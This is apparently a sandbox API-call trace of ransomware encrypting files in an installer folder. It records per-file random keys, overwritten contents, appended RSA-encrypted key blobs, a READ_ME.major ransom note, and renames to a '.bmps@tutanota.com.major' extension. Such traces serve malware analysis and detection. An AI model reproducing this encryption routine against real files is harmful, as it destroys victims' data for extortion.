[0138.819] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.819] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="2cy623LPYuCIoGUAhGJraaP+1F725x/bxCHaTKX57IQ9Q38nBI0bLJ/CaILasVwv\n0qRPZjzeIdaEN9Y2qWQl2pIO5faP0CbwcXqrnXBHrrWFHuTe+Ii/6J5FfZfvvwWY\n0regajPAugzMfeXIRE9OnsJmJGcp78awKx4T2O0s//TDKOdJCDhvmbLiXcAOeeof\nXpp4sGu1alJToYRlnEuCcO+wbCwaObY2ZPgqcOqoKfAUeAT/9kjJaxcQSKT3j320\nI+4Cg8VWwjmuAfsYw+Ek0jb3ZeZA/Y6oBJsG544Se2JDS4fLPQEt2xshl2yCCxk7\n5XvsqrM4Go0coPARwA0Lag==\n", pcchString=0x2e3f9a8) returned 1 [0138.819] WriteFile (in: hFile=0x4ac, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.819] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.819] WriteFile (in: hFile=0x4ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.819] CloseHandle (hObject=0x4ac) returned 1 [0138.820] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.820] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1038\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0138.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0138.821] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb20 | out: hHeap=0x570000) returned 1 [0138.822] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffedf4e6, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5a30 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0138.822] GetLastError () returned 0x0 [0138.822] SetLastError (dwErrCode=0x0) [0138.822] GetLastError () returned 0x0 [0138.822] SetLastError (dwErrCode=0x0) [0138.822] GetLastError () returned 0x0 [0138.822] SetLastError (dwErrCode=0x0) [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5730 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x570000) returned 1 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40480 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40480 | out: hHeap=0x570000) returned 1 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0138.822] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffedf4e6, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0138.822] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0138.822] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0138.822] GetLastError () returned 0x0 [0138.822] SetLastError (dwErrCode=0x0) [0138.822] GetLastError () returned 0x0 [0138.822] SetLastError (dwErrCode=0x0) [0138.823] GetLastError () returned 0x0 [0138.823] SetLastError (dwErrCode=0x0) [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5870 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5870 | out: hHeap=0x570000) returned 1 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0138.823] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0138.823] GetLastError () returned 0x0 [0138.823] SetLastError (dwErrCode=0x0) [0138.823] GetLastError () returned 0x0 [0138.823] SetLastError (dwErrCode=0x0) [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0138.823] GetLastError () returned 0x0 [0138.823] SetLastError (dwErrCode=0x0) [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0138.823] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.823] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0138.823] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0138.823] GetLastError () returned 0x0 [0138.823] SetLastError (dwErrCode=0x0) [0138.823] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eba0 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eba0 | out: hHeap=0x570000) returned 1 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0138.824] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe9ea45, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffe9ea45, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffee4250, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.824] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0138.824] GetLastError () returned 0x0 [0138.824] SetLastError (dwErrCode=0x0) [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0138.824] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0138.824] FindNextFileW (in: hFindFile=0x5b5a30, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0138.824] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.825] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.825] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0138.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0138.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.825] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0138.825] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0138.825] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0138.825] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5ed868 [0138.826] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5f1fc8 [0138.826] ReadFile (in: hFile=0x4b0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0138.834] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.834] WriteFile (in: hFile=0x4b0, lpBuffer=0x5f1fc8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0138.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.834] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1fc8 | out: hHeap=0x570000) returned 1 [0138.835] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0138.835] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.835] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.835] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.836] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.836] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="ynFrlCvSiCOzKogJE76WTzXhvk52A1YYpmp1XMPB6jtMpCP8fqsOragkzn9sZxF6\nQ/+MD/w8tp3ynkUHlVigOsb9Gz7NypT5RgRyood1mu3CFVNaCrH7TicgeCZeSNxX\n3uFqnM1jmCkIoUbJCvLlM5SL2VbgL7okVyJXbtyNGZpiLrumn7PMbltgyozP3VtX\nAzEr8kjPSGJ1Yea364+KNAAAealmExtoo3rYi+oegAUEZEDbUZwSm0nzQmAV8E9u\nRwNlRD5p30jOIfdtnFiUioZxalUlEoUPI+0B7M+T4x+LkmjCB/3rMBLbNOvWEGcy\niBgK84rHdRkLOw503PQHlQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.836] WriteFile (in: hFile=0x4b0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.836] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.836] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.836] CloseHandle (hObject=0x4b0) returned 1 [0138.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.837] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1040\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0138.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.839] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.839] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0138.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0138.839] CreateFileW (lpFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0138.839] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80060) returned 1 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x138bc) returned 0x5ed868 [0138.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x138bc) returned 0x601130 [0138.840] ReadFile (in: hFile=0x4b0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x138bc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x138bc, lpOverlapped=0x0) returned 1 [0138.871] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=-80060, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0138.871] WriteFile (in: hFile=0x4b0, lpBuffer=0x601130*, nNumberOfBytesToWrite=0x138bc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x601130*, lpNumberOfBytesWritten=0x2e3f9b4*=0x138bc, lpOverlapped=0x0) returned 1 [0138.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0138.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x601130 | out: hHeap=0x570000) returned 1 [0138.875] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x138bc [0138.875] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.875] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.876] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0138.876] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0138.877] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0138.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0138.877] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="QqVu2/sBwvQqetp+zkOKaJLJJUeH5l6dPgyw3900L0aHdkaOh2kw0MgLS/YRJ/qw\n+KSUnnrgt1que78Xq4oOi55x9j463AFqtpcmsWNzacXSDBK6XfWxTp9lhbiDWwLD\nVOtRKfxHPAXgI4lvL35Itx4R0QCJrrd12RPbNgcDey6Cz/9xBnFANApHCvjg/Nbl\nwOAiiS9FHFJcf2zOGECySQCQmI9T9UQ0BSZauiPnvIzQ9aIT7brB+q+8d05OzHti\nVHuO9mb4kRW6QbBJSN5RINdWIW2GPEEBFOld/yhe/uHQm5PacLj5d6rtPHI2kOSY\nfL5kjbLF3jNRPx6ouJMYNQ==\n", pcchString=0x2e3f9a8) returned 1 [0138.877] WriteFile (in: hFile=0x4b0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0138.878] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0138.878] WriteFile (in: hFile=0x4b0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0138.878] CloseHandle (hObject=0x4b0) returned 1 [0138.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0138.882] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1040\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0138.884] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0138.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0138.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0138.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0138.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0138.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0138.885] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0138.885] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1040\\eula.rtf", dwFileAttributes=0x80) returned 1 [0138.886] 